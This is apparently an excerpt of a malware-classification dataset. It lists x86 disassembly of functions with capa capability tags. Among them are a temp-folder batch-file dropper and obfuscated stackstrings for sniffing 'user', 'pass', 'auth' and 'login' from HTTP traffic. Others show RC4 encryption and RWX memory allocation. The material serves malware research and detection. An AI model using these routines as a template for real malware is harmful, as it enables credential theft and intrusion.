joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403077
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x298]
sub esp, 0x318
mov eax, dword [0x420044]
xor eax, ebp
mov dword [ebp + 0x294], eax
push ebx
push esi
lea eax, [ebp + 0x190]
push eax
mov esi, 0x104
xor ebx, ebx
push esi
mov dword [ebp - 0x80], ebx
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push str._uinsey.bat
lea eax, [ebp + 0x190]
push esi
push eax
call fcn.0040a21b
add esp, 0xc
push esi
lea eax, [ebp + 0x8c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp + 0x8c]
push eax
lea eax, [ebp - 0x78]
push esi
push eax
call fcn.00409f96
lea eax, [ebp - 0x78]
push 0x5c
push eax
call fcn.0040a1d0
add esp, 0x14
cmp eax, ebx
je 0x4030f5
mov byte [eax], bl
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
lea eax, [ebp + 0x190]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x7c], eax
cmp eax, 0xffffffff
je 0x4031d9
mov eax, 0x421620
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x403125
sub eax, edx
lea ecx, [ebp + 0x8c]
push edi
mov esi, eax
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
cmp al, bl
jne 0x40313a
lea eax, [ebp + 0x190]
sub ecx, edi
lea edi, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x40314c
imul ecx, ecx, 3
sub eax, edi
add ecx, eax
lea esi, [ecx + esi + 0x32]
push esi
call fcn.00409b81
push esi
mov edi, eax
push ebx
push edi
call fcn.0040db70
lea eax, [ebp + 0x190]
push eax
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp + 0x8c]
push eax
push eax
push 0x421620
push esi
push edi
call fcn.0040a1fd
mov eax, edi
add esp, 0x2c
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x403195
push ebx
lea ecx, [ebp - 0x80]
push ecx
sub eax, esi
push eax
push edi
push dword [ebp - 0x7c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x7c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
push ebx
push ebx
lea eax, [ebp + 0x190]
push eax
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp edi, ebx
je 0x4031d8
push edi
call fcn.00408dfe
pop ecx
pop edi
mov ecx, dword [ebp + 0x294]
pop esi
xor ecx, ebp
pop ebx
call fcn.00408c42
add ebp, 0x298
leave
ret

Function at 0x4031f0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push edi
xor ecx, ecx
xor eax, eax
cmp dword [ebp + 8], 0xffffffff
mov dword [ebp - 0x18], ecx
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 4], ecx
je 0x403239
mov eax, dword [ebp + 0xc]
mov ecx, 0x200
mul ecx
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 4]
push eax
push 0x400
push dword [ebp + 0x10]
mov dword [ebp - 0xc], edx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, eax
mov eax, ecx
pop edi
leave
ret
Function at 0x406c70
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a8
push edi
mov edi, dword [ebp + 8]
mov ecx, dword [edi + 4]
cmp dword [ecx + 0xcac], 5
jne 0x406c97
push ecx
call fcn.00404100
add esp, 4
pop edi
mov esp, ebp
pop ebp
ret
cmp dword [ecx + 0x155c], 0
je 0x406cae
push edi
call fcn.004186c0
add esp, 4
pop edi
mov esp, ebp
pop ebp
ret
cmp dword [ecx + 0x40], 0
mov eax, dword [edi + 0x20]
push ebx
mov ebx, dword [edi + 0x24]
push esi
mov esi, dword [edi + 0x14]
mov dword [ebp + 8], eax
je 0x406ccf
mov edx, dword [edi + 0x1c]
mov esi, dword [edi + 0x10]
mov ebx, eax
mov dword [ebp + 8], edx
mov eax, edx
test eax, eax
je 0x406dba
lea edx, [ebx - 0xc]
cmp edx, 0x11f3
ja 0x406dba
push ebx
push eax
push ecx
call fcn.00416e50
add esp, 0xc
test eax, eax
je 0x406dba
xor eax, eax
push 0x18e
push eax
lea ecx, [ebp - 0x1a6]
push ecx
mov dword [ebp - 0x14], 0xc8
mov word [ebp - 0x1a8], ax
call fcn.0041be50
mov edx, dword [edi + 4]
mov edx, dword [edx + 0xcc8]
add esp, 0xc
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x1a8]
push ecx
push 0x22
push esi
call edx
test eax, eax
je 0x406dba
mov esi, dword [edi + 4]
push 7
lea eax, [ebp - 0x10]
push eax
add esi, 0x3e34
push esi
mov dword [ebp - 8], 0xa0d0a0d
mov byte [ebp - 4], 0
mov dword [ebp - 0x10], 0x74736f48
mov word [ebp - 0xc], 0x203a
mov byte [ebp - 0xa], 0
call fcn.0041bdd0
lea ecx, [ebp - 0x1a8]
push ecx
lea edx, [esi + 6]
push edx
call fcn.0041c470
push 5
lea eax, [ebp - 8]
push eax
push esi
call fcn.0041c1d0
push esi
call fcn.0041c0a0
mov ecx, dword [ebp + 8]
push ebx
mov dword [ebp - 0x18], eax
push ecx
add eax, esi
push eax
call fcn.0041bdd0
mov edi, dword [edi + 4]
mov edx, dword [edi + 0x1164]
mov eax, dword [ebp - 0x18]
push edx
push 1
add eax, ebx
push eax
push esi
push edi
call int.004163e0
add esp, 0x44
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x40aa00
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push esi
push edi
mov edi, dword [ebp + 0x10]
xor esi, esi
xor ecx, ecx
mov eax, 0x66666667
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
lea eax, [eax + eax*4]
add eax, eax
add eax, eax
mov edx, ecx
sub edx, eax
mov al, byte [edx + edi]
mov byte [ebp + ecx - 0x106], cl
mov byte [ebp + ecx - 0x208], al
inc ecx
cmp ecx, 0x100
jl 0x40aa12
xor eax, eax
lea ebx, [ebx]
movzx ecx, byte [ebp + eax - 0x208]
movzx edx, byte [ebp + eax - 0x106]
add ecx, esi
lea esi, [ecx + edx]
and esi, 0x800000ff
jns 0x40aa75
dec esi
or esi, 0xffffff00
inc esi
mov cl, byte [ebp + eax - 0x106]
mov dl, byte [ebp + esi - 0x106]
mov byte [ebp + eax - 0x106], dl
inc eax
mov byte [ebp + esi - 0x106], cl
cmp eax, 0x100
jl 0x40aa50
xor eax, eax
xor cl, cl
mov byte [ebp - 0x107], 0
cmp dword [ebp + 0xc], eax
jbe 0x40ab21
mov edi, dword [ebp + 8]
push ebx
jmp 0x40aab6
mov cl, byte [ebp - 0x108]
mov dl, byte [eax + edi]
inc cl
mov byte [ebp - 0x108], cl
movzx esi, cl
movzx ebx, byte [ebp + esi - 0x106]
movzx ecx, byte [ebp - 0x107]
add ecx, ebx
mov byte [ebp - 0x107], cl
movzx ebx, byte [ebp + esi - 0x106]
movzx ecx, cl
lea ecx, [ebp + ecx - 0x106]
mov byte [ebp - 1], bl
movzx ebx, byte [ecx]
mov byte [ebp + esi - 0x106], bl
movzx ebx, byte [ebp - 1]
mov byte [ecx], bl
movzx ebx, byte [ebp + esi - 0x106]
add bl, byte [ecx]
inc eax
movzx ecx, bl
mov cl, byte [ebp + ecx - 0x106]
xor cl, dl
mov byte [eax + edi - 1], cl
cmp eax, dword [ebp + 0xc]
jb 0x40aab0
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x40b930
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push esi
mov esi, dword [ebp + 8]
xor eax, eax
push 0x77
push esi
mov dword [ebp - 0x20], 0x6f726863
mov dword [ebp - 0x1c], 0x635f656d
mov dword [ebp - 0x18], 0x646c6968
mov dword [ebp - 0x14], 0x6c6c642e
mov byte [ebp - 0x10], 0
mov dword [ebp - 0xf], eax
mov dword [ebp - 0xb], eax
mov dword [ebp - 7], eax
mov word [ebp - 3], ax
mov byte [ebp - 1], al
call fcn.00409c00
add esp, 8
test eax, eax
jne 0x40b993
lea eax, [ebp - 0x20]
push eax
lea ecx, [esi + 0x1c]
push ecx
call fcn.0040ace0
add esp, 8
test eax, eax
je 0x40ba1e
push ebx
push edi
push eax
push esi
call fcn.00406b10
mov edx, dword [esi + 0xca0]
push 0x15db1ddc
push 0
push 0
mov edi, eax
push edx
lea eax, [esi + 0xc94]
push eax
call fcn.00414e40
add esp, 0x1c
mov ebx, eax
call fcn.0041f22a
mov dword [eax + 3], esi
call fcn.0041f23c
mov dword [eax + 3], esi
test edi, edi
je 0x40b9f1
push 1
push 2
call fcn.0041f22a
add eax, 2
push eax
lea ecx, [esi + 0x1934]
push ecx
push edi
push esi
call fcn.004055a0
add esp, 0x18
test ebx, ebx
je 0x40ba13
push 0
push 0
call fcn.0041f23c
add eax, 2
push eax
lea edx, [esi + 0x19b4]
push edx
push ebx
push esi
call fcn.004055a0
add esp, 0x18
push esi
call fcn.004175d0
add esp, 4
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x416cf0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
lea eax, [ebx + 0xd68]
push 0x100
push eax
mov eax, dword [ebx + 0xcc0]
lea edi, [ebx + 0x9c34]
mov dword [ebp - 0x18], 0x6e6b6e55
mov dword [ebp - 0x14], 0x6e776f
call eax
mov ecx, dword [ebx + 0xcb8]
push eax
call ecx
mov esi, eax
test esi, esi
jne 0x416d4f
push 8
lea edx, [ebp - 0x18]
push edx
lea eax, [ebx + 0xd68]
push eax
call fcn.0041bdd0
add esp, 0xc
mov esi, 7
jmp 0x416d60
cmp esi, 0x40
jbe 0x416d60
mov byte [ebx + 0xda7], 0
mov esi, 0x40
push 7
lea eax, [ebp - 0x10]
push eax
push edi
mov dword [ebp - 8], 0xa0d0a0d
mov byte [ebp - 4], 0
mov dword [ebp - 0x10], 0x74736f48
mov word [ebp - 0xc], 0x203a
mov byte [ebp - 0xa], 0
call fcn.0041bdd0
push esi
lea eax, [ebx + 0xd68]
push eax
lea ecx, [edi + 6]
push ecx
call fcn.0041bdd0
push 5
lea edx, [ebp - 8]
push edx
push edi
mov byte [esi + edi + 6], 0
call fcn.0041c1d0
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
lea edx, [esi + edi + 0xa]
push edx
call fcn.0041bdd0
mov eax, dword [ebx + 0x1164]
mov ecx, dword [ebp + 0x10]
push eax
push 2
lea edx, [esi + ecx + 0xa]
push edx
push edi
push ebx
call int.004163e0
add esp, 0x44
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x417330
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push esi
xor eax, eax
push edi
mov edi, dword [ebp + 0xc]
mov dword [ebp - 0x19], eax
mov byte [ebp - 0x15], al
push 0xf
lea eax, [ebp - 0x14]
push eax
push edi
mov dword [ebp - 4], 0x104
mov dword [ebp - 0x24], 0x6d6c7275
mov dword [ebp - 0x20], 0x642e6e6f
mov word [ebp - 0x1c], 0x6c6c
mov byte [ebp - 0x1a], 0
mov dword [ebp - 0x14], 0x73550a0d
mov dword [ebp - 0x10], 0x412d7265
mov dword [ebp - 0xc], 0x746e6567
mov dword [ebp - 8], 0x203a
call fcn.0041bdd0
mov esi, dword [ebp + 8]
lea ecx, [ebp - 0x24]
push ecx
add esi, 0xc94
push esi
call fcn.0040ace0
push 0x69767207
push 0
push 0
push eax
push esi
call fcn.00414e40
mov esi, eax
add esp, 0x28
test esi, esi
je 0x4173d9
lea edx, [ebp - 4]
push edx
push edi
call fcn.0041c0a0
add esp, 4
add eax, edi
push eax
push 0
call esi
test eax, eax
jne 0x4173d9
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4181c0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push esi
mov esi, dword [ebp + 0x10]
push edi
mov edi, dword [ebp + 0xc]
xor al, al
mov byte [ebp - 0x1a], al
dec esi
push esi
lea eax, [ebp - 8]
push eax
push edi
mov dword [ebp - 8], 0x72657375
mov word [ebp - 4], 0x20
mov dword [ebp - 0x10], 0x73736170
mov word [ebp - 0xc], 0x20
mov dword [ebp - 0x18], 0x68747561
mov word [ebp - 0x14], 0x20
mov dword [ebp - 0x20], 0x69676f6c
mov word [ebp - 0x1c], 0x206e
call fcn.0041c630
add esp, 0xc
test eax, eax
je 0x418225
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
push esi
lea ecx, [ebp - 0x10]
push ecx
push edi
call fcn.0041c630
add esp, 0xc
test eax, eax
jne 0x41821a
push esi
lea edx, [ebp - 0x18]
push edx
push edi
call fcn.0041c630
add esp, 0xc
test eax, eax
jne 0x41821a
push esi
lea eax, [ebp - 0x20]
push eax
push edi
call fcn.0041c630
add esp, 0xc
neg eax
sbb eax, eax
pop edi
neg eax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x418270
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
sub esp, 0x18
push ebx
xor ebx, ebx
cmp eax, ebx
je 0x41834a
push edi
mov edi, dword [ebp + 8]
lea ecx, [edi + 0x164dc]
cmp eax, ecx
je 0x418349
mov ecx, dword [ebp + 0x10]
lea edx, [ecx - 0x10]
cmp edx, 0x1ef
ja 0x418349
push ecx
push eax
push edi
call fcn.004181c0
add esp, 0xc
test eax, eax
je 0x418349
push esi
lea esi, [edi + 0x3e34]
push 0x200
push esi
mov dword [ebp - 8], 0xa0d0a0d
mov byte [ebp - 4], bl
mov dword [ebp - 0x18], 0x66696e53
mov dword [ebp - 0x14], 0x72662066
mov dword [ebp - 0x10], 0x93a6d6f
mov dword [ebp - 0xc], ebx
call fcn.0041be00
push 0xe
lea ecx, [ebp - 0x18]
push ecx
push esi
call fcn.0041bdd0
push ebx
lea edx, [edi + 0x1560]
push edx
push esi
call fcn.0041c1d0
push ebx
lea eax, [ebp - 8]
push eax
push esi
call fcn.0041c1d0
push esi
call fcn.0041c0a0
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
push ecx
mov ebx, eax
push edx
lea eax, [ebx + edi + 0x3e34]
push eax
call fcn.0041bdd0
mov ecx, dword [edi + 0x1164]
add ebx, dword [ebp + 0x10]
push ecx
push 3
push ebx
push esi
push edi
call int.004163e0
add esp, 0x50
pop esi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4010aa
Capabilities:
Allocate or change rwx memory

Disassembly:
call fcn.00401014
mov eax, dword [ebp + 8]
push 0x40
push 0x1000
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
call fcn.00401022
ret 4

Function at 0x4028c8
Capabilities:
Get file size

Disassembly:
call fcn.00401014
mov edi, dword [ebp + 0xc]
add edi, 4
push edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
sub edi, 4
stosd dword es:[edi], eax
call fcn.00401022
ret 8

Function at 0x402902
Capabilities:
Check if file exists
Get file attributes

Disassembly:
call fcn.00401014
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
call fcn.00401022
cmp eax, 0xffffffff
je 0x40291d
and eax, 0x10
ret 4
Function at 0x408244
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff4
mov edi, edx
mov esi, eax
mov ebp, dword [esi + 0x10]
mov eax, esi
call fcn.0040863c
mov byte [esp], al
cmp byte [esp], 0
jne 0x4083d0
test edi, edi
je 0x4083d0
mov byte [esp + 1], 0
test ebp, ebp
jle 0x408307
call sub.kernel32.dll_GetTickCount
mov dword [esp + 4], eax
test ebp, ebp
jle 0x4082e2
cmp edi, 0xffffffff
je 0x4082a3
call sub.kernel32.dll_GetTickCount
sub eax, dword [esp + 4]
cmp edi, eax
ja 0x4082a3
mov byte [esp], 0
jmp 0x4083d0
mov ebx, dword [esi]
cmp ebx, 1
jg 0x4082e2
test ebx, ebx
jne 0x4082d8
mov eax, esi
xor ecx, ecx
mov edx, 1
call fcn.00402770
test eax, eax
jne 0x4082d8
call sub.kernel32.dll_GetCurrentThreadId
mov dword [esi + 8], eax
mov dword [esi + 4], 1
mov byte [esp], 1
jmp 0x4083d0
call 0x408760
dec ebp
test ebp, ebp
jg 0x408288
cmp edi, 0xffffffff
je 0x408307
call sub.kernel32.dll_GetTickCount
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
cmp edi, eax
ja 0x408305
mov byte [esp], 0
jmp 0x4083d0
sub edi, eax
mov ebx, dword [esi]
test ebx, ebx
je 0x408252
lea edx, [ebx + 2]
mov eax, esi
mov ecx, ebx
call fcn.00402770
cmp ebx, eax
jne 0x408307
call sub.kernel32.dll_GetTickCount
mov dword [esp + 4], eax
mov eax, esi
call fcn.00408440
mov edx, eax
mov ebx, dword [0x5bd8f8]
mov ecx, edi
xor eax, eax
call dword [ebx + 0x10]
test eax, eax
sete byte [esp]
cmp edi, 0xffffffff
je 0x40836e
call sub.kernel32.dll_GetTickCount
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
cmp edi, eax
jbe 0x40836c
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
sub edi, eax
jmp 0x40836e
xor edi, edi
cmp byte [esp], 0
je 0x408397
mov ebx, dword [esi]
test bl, 1
jne 0x4083b0
mov edx, ebx
sub edx, 2
or edx, 1
mov eax, esi
mov ecx, ebx
call fcn.00402770
cmp ebx, eax
jne 0x408374
mov byte [esp + 1], 1
jmp 0x4083b0
mov ebx, dword [esi]
mov edx, ebx
sub edx, 2
mov eax, esi
mov ecx, ebx
call fcn.00402770
cmp ebx, eax
jne 0x408397
mov byte [esp + 1], 1
cmp byte [esp + 1], 0
je 0x408321
cmp byte [esp], 0
je 0x4083d0
call sub.kernel32.dll_GetCurrentThreadId
mov dword [esi + 8], eax
mov dword [esi + 4], 1
movzx eax, byte [esp]
add esp, 0xc
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x409160
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x5bd058], 0
je 0x4091c7
cmp word [0x5bd344], 0xd7b2
jne 0x409189
cmp dword [0x5bd34c], 0
jbe 0x409189
mov eax, 0x5bd340
call dword [0x5bd35c]
push 0
lea eax, [esp + 4]
push eax
push 0x1d
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
mov eax, 0x4091f4
call fcn.00409fac
push eax
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x5b6032], 0
jne 0x4091e3
push 0
push 0x5b69f2
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x409384
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov edi, dword [ebp + 0x10]
cmp dword [0x5b6034], 0
je 0x4093af
mov edx, edi
mov eax, esi
call dword [0x5b6034]
mov ebx, eax
jmp 0x4093c0
mov eax, 8
call fcn.00404554
mov ebx, eax
mov dword [ebx], esi
mov dword [ebx + 4], edi
mov byte [0x5bd059], 1
mov eax, dword [ebp + 8]
push eax
mov eax, dword [ebp + 0xc]
push eax
push ebx
mov eax, 0x40934c
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_CreateThread
mov esi, eax
test esi, esi
jne 0x4093f5
mov edx, 8
mov eax, ebx
call fcn.00404570
mov eax, esi
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret 0xc

Function at 0x40be4c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe98
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x160], ecx
mov dword [ebp - 0x164], ecx
mov dword [ebp - 0x168], ecx
mov dword [ebp - 4], edx
mov esi, eax
xor eax, eax
push ebp
push 0x40bfb1
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.004094c8
cmp si, word [0x5b6a30]
jb 0x40bee4
cmp si, word [0x5b6c30]
ja 0x40bee4
mov edi, 0x40
xor eax, eax
mov dword [ebp - 8], eax
cmp edi, dword [ebp - 8]
jb 0x40bee4
mov ebx, edi
add ebx, dword [ebp - 8]
shr ebx, 1
cmp si, word [ebx*8 + 0x5b6a30]
jae 0x40bebe
mov edi, ebx
dec edi
jmp 0x40bedf
cmp si, word [ebx*8 + 0x5b6a30]
jbe 0x40bece
inc ebx
mov dword [ebp - 8], ebx
jmp 0x40bedf
mov edx, dword [ebp - 4]
mov eax, dword [ebx*8 + 0x5b6a34]
call fcn.0040bd5c
jmp 0x40bee4
cmp edi, dword [ebp - 8]
jae 0x40bea8
mov eax, dword [ebp - 4]
cmp dword [eax], 0
jne 0x40bf93
push 2
movzx eax, si
push eax
call sub.kernel32.dll_IsValidLocale
test eax, eax
je 0x40bf93
push 0x55
lea eax, [ebp - 0xb2]
push eax
push 0x59
movzx ebx, si
push ebx
call sub.kernel32.dll_GetLocaleInfoW
push 0x55
lea eax, [ebp - 0x15c]
push eax
push 0x5a
push ebx
call sub.kernel32.dll_GetLocaleInfoW
lea eax, [ebp - 0x160]
lea edx, [ebp - 0xb2]
mov ecx, 0x55
call fcn.0040a330
push dword [ebp - 0x160]
push 0x40bfcc
lea eax, [ebp - 0x164]
lea edx, [ebp - 0x15c]
mov ecx, 0x55
call fcn.0040a330
push dword [ebp - 0x164]
push 0x40bfdc
lea eax, [ebp - 0x168]
lea edx, [ebp - 0xb2]
mov ecx, 0x55
call fcn.0040a330
push dword [ebp - 0x168]
mov eax, dword [ebp - 4]
mov edx, 5
call fcn.0040a568
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40bfb8
lea eax, [ebp - 0x168]
mov edx, 3
call fcn.00409528
ret
Function at 0x40c164
Capabilities:
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40c267
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x5bfb88
call sub.kernel32.dll_EnterCriticalSection
cmp bx, word [0x5bfba0]
jne 0x40c1b0
mov eax, esi
mov edx, 0x5bfba2
mov ecx, 0x55
call fcn.0040a330
push 0x5bfb88
call sub.kernel32.dll_LeaveCriticalSection
jmp 0x40c251
push 0x5bfb88
call sub.kernel32.dll_LeaveCriticalSection
mov eax, esi
call fcn.004094c8
push 2
movzx eax, bx
push eax
call sub.kernel32.dll_IsValidLocale
test eax, eax
je 0x40c21f
cmp byte [0x5bfb84], 0
je 0x40c1e4
mov edx, esi
mov eax, ebx
call fcn.0040c048
jmp 0x40c21f
mov edx, esi
mov eax, ebx
call fcn.0040be4c
call sub.kernel32.dll_GetSystemDefaultUILanguage
cmp bx, ax
je 0x40c21f
cmp dword [esi], 0
je 0x40c208
mov eax, esi
mov edx, 0x40c280
call fcn.0040a488
call sub.kernel32.dll_GetSystemDefaultUILanguage
lea edx, [ebp - 4]
call fcn.0040be4c
mov edx, dword [ebp - 4]
mov eax, esi
call fcn.0040a488
push 0x5bfb88
call sub.kernel32.dll_EnterCriticalSection
mov word [0x5bfba0], bx
push 0xaa
mov eax, dword [esi]
call fcn.0040a28c
push eax
push 0x5bfba2
call sub.kernel32.dll_lstrcpynW
push 0x5bfb88
call sub.kernel32.dll_LeaveCriticalSection
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c26e
lea eax, [ebp - 4]
call fcn.004094c8
ret
Function at 0x40c9a4
Capabilities:
Get geographical location
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
xor ecx, ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004095ac
xor eax, eax
push ebp
push 0x40ca64
push dword fs:[eax]
mov dword fs:[eax], esp
push 4
lea eax, [ebp - 0xc]
push eax
push 3
call sub.kernel32.dll_GetUserDefaultUILanguage
movzx eax, ax
push eax
call sub.kernel32.dll_GetLocaleInfoW
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xc]
mov ecx, 4
call fcn.0040a330
mov ecx, dword [ebp - 0x10]
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.0040a4e0
mov eax, dword [ebx]
call fcn.0040c86c
test al, al
jne 0x40ca41
mov word [ebp - 8], 0
lea eax, [ebp - 0x14]
lea edx, [ebp - 0xc]
mov ecx, 4
call fcn.0040a330
mov ecx, dword [ebp - 0x14]
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.0040a4e0
mov eax, dword [ebx]
call fcn.0040c86c
test al, al
jne 0x40ca41
mov eax, ebx
call fcn.004094c8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40ca6b
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.00409528
lea eax, [ebp - 4]
call fcn.004094c8
ret

Function at 0x40d428
Capabilities:
Get system information on windows

Disassembly:
add esp, 0xffffffdc
push esp
call sub.kernel32.dll_GetSystemInfo
mov eax, dword [esp + 0x14]
add esp, 0x24
ret

Function at 0x420fbc
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbd4
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x428], ecx
mov dword [ebp - 0x42c], ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x4210e5
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x218]
push eax
push 0x104
call sub.kernel32.dll_GetLogicalDriveStringsW
mov esi, eax
test esi, esi
jle 0x4210bf
lea ebx, [ebp - 0x218]
lea eax, [ebx + 4]
mov word [eax], 0
push 0x104
lea eax, [ebp - 0x424]
push eax
push ebx
call sub.kernel32.dll_QueryDosDeviceW
mov esi, eax
test esi, esi
jle 0x4210a8
lea eax, [ebp - 4]
lea edx, [ebp - 0x424]
mov ecx, 0x106
call fcn.0040a330
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.0040a7fc
test eax, eax
jle 0x4210a8
mov eax, dword [ebp - 4]
test eax, eax
je 0x42105c
sub eax, 4
mov eax, dword [eax]
mov esi, eax
mov edi, dword [ebp - 8]
test edi, edi
je 0x42106a
sub edi, 4
mov edi, dword [edi]
lea eax, [ebp - 0x428]
push eax
mov ecx, edi
sub ecx, esi
lea edx, [esi + 1]
mov eax, dword [ebp - 8]
call fcn.0040a650
mov eax, dword [ebp - 0x428]
push eax
lea eax, [ebp - 0x42c]
mov edx, ebx
call fcn.0040a2f4
mov edx, dword [ebp - 0x42c]
mov eax, dword [ebp - 0xc]
pop ecx
call fcn.0040a4e0
jmp 0x4210bf
add ebx, 2
cmp word [ebx], 0
jne 0x4210a5
add ebx, 4
test ebx, ebx
je 0x4210b9
cmp word [ebx], 0
jne 0x42100e
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4210ec
lea eax, [ebp - 0x42c]
mov edx, 2
call fcn.00409528
lea eax, [ebp - 4]
call fcn.004094c8
ret